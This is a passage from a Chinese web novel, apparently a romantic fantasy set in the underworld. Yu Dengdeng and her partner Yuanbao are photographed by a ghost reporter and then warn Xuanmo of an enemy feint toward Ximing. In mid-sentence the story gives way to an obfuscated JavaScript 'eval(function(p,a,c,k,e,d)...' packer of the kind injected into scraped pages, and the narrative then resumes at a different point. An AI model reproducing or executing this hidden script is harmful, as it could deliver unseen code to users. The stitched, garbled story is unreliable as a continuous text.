谁家搭档这么说话啊?! 谁家搭档抱着人不撒手啊?!! 谁家搭档会这么委屈地说不想分开啊?!!! 于等等感觉自己的脸从脖子根开始往上烧,烧到耳朵尖,烧到脸颊,烧得心跳快得离谱,好像要从嗓子眼里蹦出来。 周围的空气在这火烧火燎里产生了变化。 好像是变粉了?似乎还有花瓣,紧接着是…… 钢琴曲??? 悠扬的、缠绵的、一听就是那种偶像剧告白专用BGM的钢琴曲,从她腰间那个对讲器里飘了出来。 于等等:“…………” 杀千刀的魏今安,等我出去了,和你没完! 她看了一眼腰间的对讲器,又看了一眼终于舍得松开她的元宝。 很好,同款懵逼。 于等等下意识想把这玩意儿摘下来,就听见石头外面传来一声极其微弱的“咔嚓”。 快门声。 于等等转过头。 石头外面,刚刚负责关押她的矮胖鬼族,正举着铜钱相机,对着他们狂按快门。 她看着这鬼族那快要咧到耳根的笑容,和那发光的眼睛,抽了抽嘴角。 “……阿飘?” “我去!这都能认出来?!”阿飘一脸惊喜。 但拍照动作一刻没停。 “整个地府能在这个节骨眼上跑来拍照的,除了你还有谁?” 虽然还有个原因是她只认识阿飘一个记者。 阿飘还想说什么,忽然打了个哆嗦。 元宝正直直盯着他,脸黑的快要赶上玄墨,眼神更是比刀子还冷。 阿飘手里的相机差点没拿稳,他讪笑着后退半步: “那什么……我、我就是路过……你们继续!继续!” 说完化作一团黑烟,彻底消失。 一起消失的还有那粉色光晕和钢琴曲。 于等等松了口气,把脸上的热意往下压了压:“那个……我们快出去吧,我有事要跟玄墨说。” 她拉着元宝的手往外走,没拉动。 她好奇地回头。 元宝站在原地,垂着眼看她,刘海遮着半边眉眼,在脸上投下清冷的阴影,那表情说不上是委屈还是认真。 “你还没回答我。” 于等等的大脑开始回转,想起元宝刚才问的话。 脸上的热意又回来了。 “不……不然呢!你难道还想找别人搭档?” 元宝还是没动,异色瞳里映着远处战场的火光,也映着她。 于等等咬了咬下唇,声音小得几乎听不见: “好……不分开。” 元宝的嘴角弯了一下。 他把于等等从石头后面拉出来,净魂伞在掌心撑开,稳稳罩在两个人头顶。 “走吧。” 于等等看着周围飞溅的碎石和不知道什么乱七八糟的东西,一个不落全被净魂伞挡在外面,发自内心地羡慕: “哎,你这法器也太好用了,能攻能守。” 元宝侧头看了她一眼,嘴角那点弧度还没收回去。 “我只给你撑伞。” 于等等:“…………” 她觉得自己心率好像又快起来了。 这破对讲器,现在扔还来得及吗? 他们从纷战的人群里退出来的时候,玄浮已经站在玄墨的战马前,正仰着头跟他说着什么。 于等等隐约听到“西冥”“偷袭”的字眼,赶紧也冲上去。 “对对对!那些鬼族说他们的主力早就调去西冥了,声东击西,目标是素练大人!” 她边说边点头,和玄浮一唱一和,像两个抢着交作业的小学生。 玄墨骑在战马上,居高临下地看着他们,别说表情了,连眉毛都没动一下。 于等等有些懵逼。 不是,这么大的消息,您就这反应?素练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“这个距离也能说!” 元宝:“……” 于等等看着他眼帘又开始下垂,嘴角好像也要下去,咬咬牙,往元宝靠近了小小半步。 “你……你说吧……” 元宝把他和池塔的讨论结果跟于等等从头到尾讲了一遍,从游魂的异常,到四殿群殴的真相,再到元宝和素练反向设局,引玄浮露出破绽。 于等等惊得下巴几乎合不上。 “所以西冥根本没出事,真正的战力就在东冥。他想支开玄墨,让东冥彻底失守,斩断玄墨的这条退路?” “是的。”元宝肯定道。 “可还是不对呀……” 于等等皱着眉看元宝。 “你说素练和玄墨是演给外人看的,那那天的玉兰花林是怎么回事?我们在述职大殿的时候,那群人是真的看不到我们!” “述职大殿是漫画已有剧情,没有我们的戏份,所以直接被和谐了。但玉兰花林开始是我们创造的新剧情,自然就出现在这个世界里了。” 于等等觉得自己的CPU有点不太够用。 “按照这个说法,我们在玉兰花树林的时候,就已经显形了,那素练和玄墨的对话、还有那个棋……到底是什么意思?”